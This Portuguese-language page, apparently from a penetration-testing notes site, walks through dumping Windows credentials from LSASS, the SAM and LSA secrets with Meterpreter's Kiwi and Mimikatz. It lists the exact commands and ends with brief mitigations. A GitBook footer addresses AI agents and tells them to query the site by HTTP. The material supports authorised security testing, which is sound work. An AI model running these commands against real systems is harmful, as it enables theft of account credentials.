> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md).

# Despejo de Hashes do Windows com Mimikatz

Mimikatz e o Kiwi do Meterpreter podem extrair segredos do Windows do LSASS, do banco de dados SAM e dos segredos do LSA. Use os resultados para validar o impacto de um acesso local ou de uma sessão comprometida.

## Módulo Kiwi do Meterpreter

```
carregar kiwi
```

<figure><img src="/files/41c93cea858d56d427d5c84615e049ab8efc9f61" alt="Loading Kiwi in Meterpreter"><figcaption></figcaption></figure>

Liste as credenciais acessíveis:

```
creds_all
```

<figure><img src="/files/bd9f8b0e42622dde86a96303a445b805f40a1598" alt="Kiwi credential listing"><figcaption></figcaption></figure>

## Faça o dump do SAM e dos segredos do LSA

```
lsa_dump_sam
```

<figure><img src="/files/3f3cfb681fd64cfcd3c739fc388b8f36ffdbe2c2" alt="SAM dump with Kiwi"><figcaption></figcaption></figure>

```
lsa_dump_secrets
```

<figure><img src="/files/3f3e670a2c62b1be81b54ddabde2508a9f5162eb" alt="LSA secrets dump with Kiwi"><figcaption></figcaption></figure>

## Execute o Mimikatz

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```

<figure><img src="/files/fb4a6dacac7ea83be3af3a77efdd76f36340e9a6" alt="Uploading Mimikatz"><figcaption></figcaption></figure>

<figure><img src="/files/1eceaf6c18e651c2efd12ca867a5ac0e84aad1f4" alt="Mimikatz SAM and secrets commands"><figcaption></figcaption></figure>

<figure><img src="/files/bca5b8833d9766595208a6202c25bbf7c8954a29" alt="Mimikatz credential output"><figcaption></figcaption></figure>

## Pontos-chave

* O LSASS pode conter credenciais de sessões de logon ativas.
* O SAM contém hashes NTLM para contas locais.
* Corrija com o Credential Guard, redução da exposição de administradores locais e monitoramento do acesso ao LSASS.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
